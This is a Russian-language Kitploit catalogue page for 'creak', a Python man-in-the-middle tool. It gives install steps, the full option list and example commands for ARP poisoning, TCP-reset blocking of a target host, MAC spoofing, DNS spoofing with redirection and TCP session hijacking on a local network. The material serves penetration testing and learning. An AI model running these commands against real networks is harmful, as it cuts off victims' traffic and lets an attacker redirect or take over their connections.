Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
creak — Отравление, сброс, подмена, перенаправление MITM-скрипт | Kitploit
Инструменты/GitHubGitHub/codepr/creak
Сниффинг и анализ пакетовОбход IDS/IPSСетевая безопасностьТестирование на ПроникновениеRed TeamingАнализ DNS
GitHubcodepr/creak

creak

Отравление, сброс, подмена, перенаправление MITM-скрипт

Репозиторий
128363 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

creak

Выполняет одни из самых известных MITM-атак на целевые адреса в локальной сети. Среди них — блокировка навигации и возможности загрузок целевого хоста в локальной сети путём ARP-отравления и отправки сбросных TCP-пакетов на каждый запрос к маршрутизатору. Создан как учебный проект для изучения языка Python; я снимаю с себя всякую ответственность за любое злоупотребление, включая вредоносное или незаконное использование этого кода.

Установка

root@kitploit:~
$ git clone https://github.com/codepr/creak.git
$ cd creak
$ python setup.py install

или просто клонируйте репозиторий и запустите creak.py после установки всех зависимостей:

root@kitploit:~
$ git clone https://github.com/codepr/creak.git

Требуется установить библиотеки pcap для низкоуровневой работы с пакетами и модуль dpkt; для опций спуфинга DNS необходимо установить модуль dnet из пакета libdnet (не путайте с pydnet — инструментом оценки сети). При желании можно также использовать scapy, для этого нужно указать его в файле config в разделе [output] > ENGINE.

Параметры

root@kitploit:~
Usage: creak.py [options] dev

Options:
  -h, --help           show this help message and exit
  -1, --sessions-scan  Sessions scan mode
  -2, --dns-spoof      Dns spoofing
  -3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique)
  -x, --spoof          Spoof mode, generate a fake MAC address to be used
                       during attack
  -m MACADDR           Mac address octet prefix (could be an entire MAC
                       address in the form AA:BB:CC:DD:EE:FF)
  -M MANUFACTURER      Manufacturer of the wireless device, for retrieving a
                       manufactur based prefix for MAC spoof
  -s SOURCE            Source ip address (e.g. a class C address like
                       192.168.1.150) usually the router address
  -t TARGET            Target ip address (e.g. a class C address like
                       192.168.1.150), can be specified multiple times
  -p PORT              Target port to shutdown
  -a HOST              Target host that will be redirect while navigating on
                       target machine
  -r REDIR             Target redirection that will be fetched instead of host
                       on the target machine
  -v, --verbose        Verbose output mode
  -d, --dotted         Dotted output mode

Пример

Самый простой вариант использования: Заблокировать весь трафик на целевой хост

root@kitploit:~
$ python creak.py -t 192.168.1.30 wlan0

Указать другой шлюз:

root@kitploit:~
$ python creak.py -s 192.168.1.2 -t 192.168.1.30 wlan0

Указать другой MAC-адрес устройства:

root@kitploit:~
$ python creak.py -m 00:11:22:33:44:55 -t 192.168.1.30 wlan0

Подмена MAC-адреса с генерацией случайного:

root@kitploit:~
$ python creak.py -x -t 192.168.1.30 wlan0

Подмена MAC-адреса с генерацией на основе производителя (например, Xeros):

root@kitploit:~
$ python creak.py -x -M xeros -t 192.168.1.30 wlan0

Спуфинг DNS с использованием поддельного MAC-адреса, перенаправление ab.xy на cd.xz (например, localhost):

root@kitploit:~
$ python creak.py -x -M xeros -t 192.168.1.30 -a www.ab.xy -r www.cd.xz wlan0

Блокировка нескольких хостов в подсети:

root@kitploit:~
$ python creak.py -x -t 192.168.1.30 -t 192.168.1.31 -t 192.168.1.32 wlan0

Журнал изменений

См. файл CHANGELOG.

Планы

  • Группировка сеансов на основе активной нагрузки
  • Полная поддержка Scapy (начато)
  • Перехват сеансов (начато)
  • Перенос на микрофреймворк с архитектурой плагинов (выполнено на 75%)

Лицензия

См. файл LICENSE для получения информации о правах и ограничениях лицензии (GNU v3).

Скачать инструмент